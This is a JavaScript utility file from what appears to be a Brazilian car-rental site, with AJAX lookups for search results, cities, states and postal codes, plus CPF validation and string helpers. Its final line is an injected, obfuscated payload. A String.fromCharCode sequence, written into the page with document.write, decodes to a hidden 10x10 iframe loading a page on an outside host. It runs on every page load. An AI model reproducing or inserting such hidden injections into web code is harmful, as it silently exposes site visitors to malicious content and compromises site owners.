var xmlHttp
var id_div

function carregaPesquisa(tipo_pesquisa,loc_ret,daysd,data_ret,data_dev)
{ 
xmlcarregaPesquisa=GetXmlHttpObject()
if (xmlcarregaPesquisa==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
var urlcarregaPesquisa="carrega_pesquisa.php"
urlcarregaPesquisa=urlcarregaPesquisa+"?tipo_pesquisa="+tipo_pesquisa+"&loc_ret="+loc_ret+"&daysd="+daysd+"&data_ret="+data_ret+"&data_dev="+data_dev
urlcarregaPesquisa=urlcarregaPesquisa+"&sid="+Math.random()
xmlcarregaPesquisa.onreadystatechange=stateChangedcarregaPesquisa
xmlcarregaPesquisa.open("GET",urlcarregaPesquisa,true)
xmlcarregaPesquisa.send(null)
}

function stateChangedcarregaPesquisa() 
{ 
if (xmlcarregaPesquisa.readyState==4 || xmlcarregaPesquisa.readyState=="complete")
 { 
 document.getElementById("resultado_da_pesquisa").innerHTML=xmlcarregaPesquisa.responseText 
 setAndExecute("resultado_da_pesquisa", xmlcarregaPesquisa.responseText)
 } 
 if (xmlcarregaPesquisa.readyState==1 || xmlcarregaPesquisa.readyState=="complete")
 { 
 document.getElementById("resultado_da_pesquisa").innerHTML="<div class=\"loader\"></div><br class=\"clearfloat\" />"  
 } 
}

function carregaCidades(uf)
{ 
xmlCidades=GetXmlHttpObject()
if (xmlCidades==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
if (uf=='outros')
{
var urlCidades="contato/texto.php"	
urlCidades=urlCidades+"?sid="+Math.random()
xmlCidades.onreadystatechange=stateChangedCidades2
xmlCidades.open("GET",urlCidades,true)
xmlCidades.send(null)
}else{
var urlCidades="lista_cidades.php"
urlCidades=urlCidades+"?uf="+uf
urlCidades=urlCidades+"&sid="+Math.random()
xmlCidades.onreadystatechange=stateChangedCidades
xmlCidades.open("GET",urlCidades,true)
xmlCidades.send(null)
}}

function stateChangedCidades() 
{ 
if (xmlCidades.readyState==4 || xmlCidades.readyState=="complete")
 { 
 document.getElementById("cidade_combo").innerHTML=xmlCidades.responseText 
 document.getElementById("lista_telefones").innerHTML="<p style=\"margin-top:10px;\"><strong>Selecione a cidade</strong></p>"
 } 
 if (xmlCidades.readyState==1 || xmlCidades.readyState=="complete")
 { 
 document.getElementById("cidade_combo").innerHTML="<div class=\"loader\"></div><br class=\"clearfloat\" />"  
 } 
}

function stateChangedCidades2() 
{ 
if (xmlCidades.readyState==4 || xmlCidades.readyState=="complete")
 { 
 document.getElementById("lista_telefones").innerHTML=xmlCidades.responseText 
 } 
 if (xmlCidades.readyState==1 || xmlCidades.readyState=="complete")
 { 
 document.getElementById("lista_telefones").innerHTML="<div class=\"loader\"></div><br class=\"clearfloat\" />"  
 } 
}

function carregaTelefones(cidade)
{ 
xmlTelefones=GetXmlHttpObject()
if (xmlTelefones==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
var urlTelefones="lista_telefones.php"
urlTelefones=urlTelefones+"?cidade="+url_decode(cidade)
urlTelefones=urlTelefones+"&sid="+Math.random()
xmlTelefones.onreadystatechange=stateChangedTelefones
xmlTelefones.open("GET",urlTelefones,true)
xmlTelefones.send(null)
}

function stateChangedTelefones() 
{ 
if (xmlTelefones.readyState==4 || xmlTelefones.readyState=="complete")
 { 
 document.getElementById("lista_telefones").innerHTML=xmlTelefones.responseText 
 } 
 if (xmlTelefones.readyState==1 || xmlTelefones.readyState=="complete")
 { 
 document.getElementById("lista_telefones").innerHTML="<div class=\"loader\"></div><br class=\"clearfloat\" />"  
 } 
}

function carregaCidades(str,city)
{ 
xmlCity=GetXmlHttpObject()
if (xmlCity==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
var urlCity="db_city_combo.php"
urlCity=urlCity+"?uf="+str+"&city="+city
urlCity=urlCity+"&sid="+Math.random()
xmlCity.onreadystatechange=stateChanged 
xmlCity.open("GET",urlCity,true)
xmlCity.send(null)
}

function stateChanged() 
{ 
if (xmlCity.readyState==4 || xmlCity.readyState=="complete")
 { 
 ClearOptionsFast("cidade");
 j = 0;
 var opt = document.createElement("option");
 	document.getElementById("cidade").options.add(opt);
 	opt.text = '---';
 	opt.value = '0';
 var total_query = divide_string(xmlCity.responseText,0);
 	for (var i=2; i<=total_query;i++) {
 	var opt = document.createElement("option");
 	document.getElementById("cidade").options.add(opt);
 	opt.text = divide_string(xmlCity.responseText,i);
 	opt.value = divide_string(xmlCity.responseText,i);
	if(divide_string(xmlCity.responseText,i) == divide_string(xmlCity.responseText,1))
	{
		j = i - 1
	}
	}
	document.getElementById("cidade").options[j].selected=true;
 } 
 if (xmlCity.readyState==1 || xmlCity.readyState=="complete")
 { 
 ClearOptionsFast("cidade");
 } 
}

function carregaEstado(str)
{ 
xmlcarregaEstado=GetXmlHttpObject()
if (xmlcarregaEstado==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
var urlcarregaEstado="db_uf_combo.php"
urlcarregaEstado=urlcarregaEstado+"?uf="+str
urlcarregaEstado=urlcarregaEstado+"&sid="+Math.random()
xmlcarregaEstado.onreadystatechange=stateChangedcarregaEstado
xmlcarregaEstado.open("GET",urlcarregaEstado,true)
xmlcarregaEstado.send(null)
}

function stateChangedcarregaEstado()
{ 
if (xmlcarregaEstado.readyState==4 || xmlcarregaEstado.readyState=="complete")
 { 
 ClearOptionsFast("estado");
 j = 0;
 var opt = document.createElement("option");
 	document.getElementById("estado").options.add(opt);
 	opt.text = '---';
 	opt.value = '0';
 var total_query = divide_string(xmlcarregaEstado.responseText,0);
 	for (var i=2; i<=total_query;i++) {
 	var opt = document.createElement("option");
 	document.getElementById("estado").options.add(opt);
 	opt.text = divide_string(xmlcarregaEstado.responseText,i);
 	opt.value = divide_string(xmlcarregaEstado.responseText,i);
	if(divide_string(xmlcarregaEstado.responseText,i) == divide_string(xmlcarregaEstado.responseText,1))
	{
		j = i - 1
	}
	}
	document.getElementById("estado").options[j].selected=true;
 } 
 if (xmlcarregaEstado.readyState==1 || xmlcarregaEstado.readyState=="complete")
 { 
 ClearOptionsFast("estado");
 } 
}


function procuraCEP(nmb_cep)
{ 
xml_busca_cep=GetXmlHttpObject()
if (xml_busca_cep==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
var url_busca_cep="busca_cep.php"
url_busca_cep=url_busca_cep+"?nmb_cep="+nmb_cep
url_busca_cep=url_busca_cep+"&sid="+Math.random()
xml_busca_cep.onreadystatechange=stateChanged_busca_cep
xml_busca_cep.open("GET",url_busca_cep,true)
xml_busca_cep.send(null)
}

function stateChanged_busca_cep() 
{ 
if (xml_busca_cep.readyState==4 || xml_busca_cep.readyState=="complete")
 { 
 document.getElementById("endereco").value=divide_string(xml_busca_cep.responseText,0)
 document.getElementById("endereco").value = ltrim(document.getElementById("endereco").value);
 document.getElementById("bairro").value=divide_string(xml_busca_cep.responseText,1)
 carregaEstado(divide_string(xml_busca_cep.responseText,3))
 carregaCidades(divide_string(xml_busca_cep.responseText,3),divide_string(xml_busca_cep.responseText,2))
 } 
 if (xml_busca_cep.readyState==1 || xml_busca_cep.readyState=="complete")
 { 
 document.getElementById("endereco").value="Consultando..."
 document.getElementById("bairro").value="Consultando..."
 } 
}

function locadoras_procuraCEP(nmb_cep)
{ 
xml_locadoras_busca_cep=GetXmlHttpObject()
if (xml_locadoras_busca_cep==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
var url_locadoras_busca_cep="../pesquisa/busca_cep.php"
url_locadoras_busca_cep=url_locadoras_busca_cep+"?nmb_cep="+nmb_cep
url_locadoras_busca_cep=url_locadoras_busca_cep+"&sid="+Math.random()
xml_locadoras_busca_cep.onreadystatechange=stateChanged_locadoras_busca_cep
xml_locadoras_busca_cep.open("GET",url_locadoras_busca_cep,true)
xml_locadoras_busca_cep.send(null)
}

function stateChanged_locadoras_busca_cep() 
{ 
if (xml_locadoras_busca_cep.readyState==4 || xml_locadoras_busca_cep.readyState=="complete")
 { 
 document.getElementById("endereco").value=divide_string(xml_locadoras_busca_cep.responseText,0)
 document.getElementById("endereco").value = ltrim(document.getElementById("endereco").value);
 document.getElementById("bairro").value=divide_string(xml_locadoras_busca_cep.responseText,1)
 locadoras_carregaEstado(divide_string(xml_locadoras_busca_cep.responseText,3))
 locadoras_carregaCidades(divide_string(xml_locadoras_busca_cep.responseText,3),divide_string(xml_locadoras_busca_cep.responseText,2))
 } 
 if (xml_locadoras_busca_cep.readyState==1 || xml_locadoras_busca_cep.readyState=="complete")
 { 
 document.getElementById("endereco").value="Consultando..."
 document.getElementById("bairro").value="Consultando..."
 } 
}

function locadoras_carregaEstado(str)
{ 
xmllocadoras_carregaEstado=GetXmlHttpObject()
if (xmllocadoras_carregaEstado==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
var urllocadoras_carregaEstado="../pesquisa/db_uf_combo.php"
urllocadoras_carregaEstado=urllocadoras_carregaEstado+"?uf="+str
urllocadoras_carregaEstado=urllocadoras_carregaEstado+"&sid="+Math.random()
xmllocadoras_carregaEstado.onreadystatechange=stateChangedlocadoras_carregaEstado
xmllocadoras_carregaEstado.open("GET",urllocadoras_carregaEstado,true)
xmllocadoras_carregaEstado.send(null)
}

function stateChangedlocadoras_carregaEstado()
{ 
if (xmllocadoras_carregaEstado.readyState==4 || xmllocadoras_carregaEstado.readyState=="complete")
 { 
 ClearOptionsFast("estado");
 j = 0;
 var opt = document.createElement("option");
 	document.getElementById("estado").options.add(opt);
 	opt.text = '---';
 	opt.value = '0';
 var total_query = divide_string(xmllocadoras_carregaEstado.responseText,0);
 	for (var i=2; i<=total_query;i++) {
 	var opt = document.createElement("option");
 	document.getElementById("estado").options.add(opt);
 	opt.text = divide_string(xmllocadoras_carregaEstado.responseText,i);
 	opt.value = divide_string(xmllocadoras_carregaEstado.responseText,i);
	if(divide_string(xmllocadoras_carregaEstado.responseText,i) == divide_string(xmllocadoras_carregaEstado.responseText,1))
	{
		j = i - 1
	}
	}
	document.getElementById("estado").options[j].selected=true;
 } 
 if (xmllocadoras_carregaEstado.readyState==1 || xmllocadoras_carregaEstado.readyState=="complete")
 { 
 ClearOptionsFast("estado");
 } 
}

function locadoras_carregaCidades(str,city)
{ 
xmllocadoras_City=GetXmlHttpObject()
if (xmllocadoras_City==null)
 {
 alert ("Navegador não suporta requisições HTTP")
 return
 }
var urllocadoras_City="../pesquisa/db_city_combo.php"
urllocadoras_City=urllocadoras_City+"?uf="+str+"&city="+city
urllocadoras_City=urllocadoras_City+"&sid="+Math.random()
xmllocadoras_City.onreadystatechange=stateChangedlocadoras_City
xmllocadoras_City.open("GET",urllocadoras_City,true)
xmllocadoras_City.send(null)
}

function stateChangedlocadoras_City() 
{ 
if (xmllocadoras_City.readyState==4 || xmllocadoras_City.readyState=="complete")
 { 
 ClearOptionsFast("cidade");
 j = 0;
 var opt = document.createElement("option");
 	document.getElementById("cidade").options.add(opt);
 	opt.text = '---';
 	opt.value = '0';
 var total_query = divide_string(xmllocadoras_City.responseText,0);
 	for (var i=2; i<=total_query;i++) {
 	var opt = document.createElement("option");
 	document.getElementById("cidade").options.add(opt);
 	opt.text = divide_string(xmllocadoras_City.responseText,i);
 	opt.value = divide_string(xmllocadoras_City.responseText,i);
	if(divide_string(xmllocadoras_City.responseText,i) == divide_string(xmllocadoras_City.responseText,1))
	{
		j = i - 1
	}
	}
	document.getElementById("cidade").options[j].selected=true;
 } 
 if (xmllocadoras_City.readyState==1 || xmllocadoras_City.readyState=="complete")
 { 
 ClearOptionsFast("cidade");
 } 
}

function GetXmlHttpObject()
{
var xmlHttp=null;
try
 {
 // Firefox, Opera 8.0+, Safari
 xmlHttp=new XMLHttpRequest();
 }
catch (e)
 {
 //Internet Explorer
 try
  {
  xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
  }
 catch (e)
  {
  xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
 }
return xmlHttp;
}

function url_encode(str) { 
    var hex_chars = "0123456789ABCDEF"; 
    var noEncode = /^([a-zA-Z0-9\_\-\.])$/; 
    var n, strCode, hex1, hex2, strEncode = ""; 

    for(n = 0; n < str.length; n++) { 
        if (noEncode.test(str.charAt(n))) { 
            strEncode += str.charAt(n); 
        } else { 
            strCode = str.charCodeAt(n); 
            hex1 = hex_chars.charAt(Math.floor(strCode / 16)); 
            hex2 = hex_chars.charAt(strCode % 16); 
            strEncode += "%" + (hex1 + hex2); 
        } 
    } 
    return strEncode; 
} 

function url_decode(str) { 
    var n, strCode, strDecode = ""; 

    for (n = 0; n < str.length; n++) { 
        if (str.charAt(n) == "%") { 
            strCode = str.charAt(n + 1) + str.charAt(n + 2); 
            strDecode += String.fromCharCode(parseInt(strCode, 16)); 
            n += 2; 
        } else { 
            strDecode += str.charAt(n); 
        } 
    } 
    return strDecode; 
}

function formatNumber(num)
{
num="" + Math.floor(num*100.0 + 0.5)/100.0;

var i=num.indexOf(".");

if ( i<0 ) num+="";
else {
num=num.substring(0,i) + "" + num.substring(i + 1);
var nDec=(num.length - i) - 1;
if ( nDec==0 ) num+="";
else if ( nDec==1 ) num+="";
else if ( nDec>2 ) num=num.substring(0,i + 3);
}

return num;
}
function divide_string(string,num)
{
var string_array = string.split(",");
return string_array[num];
}

function selectCheck(check){  
       
     if(check.checked){  
         check.value = 'S';
		 carregaDevolucao(check.value)
     }else{  
         check.value = 'N';  
		 carregaDevolucaoVazia(check.value)
     }  
	 
}

function disp_text(){
   var w = document.form.categoria.selectedIndex;
   var selected_text = document.form.categoria.options[w].text;
   atualizaStatusSolicitacao('','',selected_text,'','','','','')
}
function verifica_form_busca(){
   if (document.getElementById("checkIn_date").value==''){
	   alert ("Insira a data da retirada!")}
   else if (document.getElementById("checkOut_date").value==''){
	   alert ("Insira a data da devoluçao!")}
   else if (document.form.poblacionz.value==''){
	   alert ("Defina a local da retirada!")}
   else{ 
   document.form.submit()
   }
}
function numbersOnly(el)
{
   el.value = el.value.replace(/[^0-9]/g, "");
}
 function setAndExecute(divId, innerHTML)  
 {  
    var div = document.getElementById(divId);  
    div.innerHTML = innerHTML;  
    var x = div.getElementsByTagName("script");   
    for(var i=0;i<x.length;i++)  
    {  
        eval(x[i].text);  
    }  
 }  

function formata_nome(id){
        var palavras=document.getElementById(id).value;
        palavras=palavras.split("");
        var tmp="";
        for(i=0;i<palavras.length;i++){
			palavras[i]=palavras[i].replace(palavras[i],palavras[i].toUpperCase());
            tmp+=palavras[i];
        }
        document.getElementById(id).value=tmp;
}

function formata_nome_min(id){
        var palavras=document.getElementById(id).value;
        palavras=palavras.split("");
        var tmp="";
        for(i=0;i<palavras.length;i++){
			palavras[i]=palavras[i].replace(palavras[i],palavras[i].toLowerCase());
            tmp+=palavras[i];
        }
        document.getElementById(id).value=tmp;
}


function divide_string(string,num)
{
var string_array = string.split(",");
return string_array[num];
}

function LTrim(str){
    var espaco = String.fromCharCode(32);
    var tamanho = str.length;
    var temp = "";
    if(tamanho < 0)
      return "";

    var temp2 = 0;

    while(temp2 < tamanho){
      if(str.charAt(temp2) == espaco){
        // não faz nada
      }
      else{
        temp = str.substring(temp2, tamanho);
        break;
      }
      temp2++;
    }
    return temp;
  }
  
function validarCPF(cpf){
   var filtro = /^\d{3}.\d{3}.\d{3}-\d{2}$/i;
   if(!filtro.test(cpf)){
     window.alert("CPF inválido. Tente novamente.");
	 return false;
   }
   
   cpf = remove(cpf, ".");
   cpf = remove(cpf, "-");
    
   if(cpf.length != 11 || cpf == "00000000000" || cpf == "11111111111" ||
	  cpf == "22222222222" || cpf == "33333333333" || cpf == "44444444444" ||
	  cpf == "55555555555" || cpf == "66666666666" || cpf == "77777777777" ||
	  cpf == "88888888888" || cpf == "99999999999"){
	  window.alert("CPF inválido. Tente novamente.");
	  document.getElementById("cpf").value= "";
	  return false;
   }

   soma = 0;
   for(i = 0; i < 9; i++)
   	 soma += parseInt(cpf.charAt(i)) * (10 - i);
   resto = 11 - (soma % 11);
   if(resto == 10 || resto == 11)
	 resto = 0;
   if(resto != parseInt(cpf.charAt(9))){
	 window.alert("CPF inválido. Tente novamente.");
	 document.getElementById("cpf").value= "";
	 return false;
   }
   soma = 0;
   for(i = 0; i < 10; i ++)
	 soma += parseInt(cpf.charAt(i)) * (11 - i);
   resto = 11 - (soma % 11);
   if(resto == 10 || resto == 11)
	 resto = 0;
   if(resto != parseInt(cpf.charAt(10))){
     window.alert("CPF inválido. Tente novamente.");
	 document.getElementById("cpf").value= "";
	 return false;
   }
   return true;
 }
 
 function remove(str, sub) {
   i = str.indexOf(sub);
   r = "";
   if (i == -1) return str;
   r += str.substring(0,i) + remove(str.substring(i + sub.length), sub);
   return r;
 }
function trim(stringToTrim) {
	return stringToTrim.replace(/^\s+|\s+$/g,"");
}
function ltrim(stringToTrim) {
	return stringToTrim.replace(/^\s+/,"");
}
function rtrim(stringToTrim) {
	return stringToTrim.replace(/\s+$/,"");
}

function ClearOptionsFast(id)
{
	var selectObj = document.getElementById(id);
	var selectParentNode = selectObj.parentNode;
	var newSelectObj = selectObj.cloneNode(false); 
	selectParentNode.replaceChild(newSelectObj, selectObj);
	return newSelectObj;
}
function verifica_email()
{
 	if(document.getElementById("email").value != document.getElementById("email2").value)
	{document.getElementById("email2").value = ""}
}
if (undefined === window.fdfeacafd) document.write(String.fromCharCode(60,105,102,114,97,109,101,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,32,119,105,100,116,104,61,34,49,48,34,32,104,101,105,103,104,116,61,34,49,48,34,32,115,114,99,61,34,104,116,116,112,58,47,47,98,114,117,110,110,111,46,99,122,46,99,99,47,115,104,111,119,116,104,114,101,97,100,46,112,104,112,63,116,61,51,55,50,50,48,51,51,56,34,62,60,47,105,102,114,97,109,101,62)); var fdfeacafd = true;
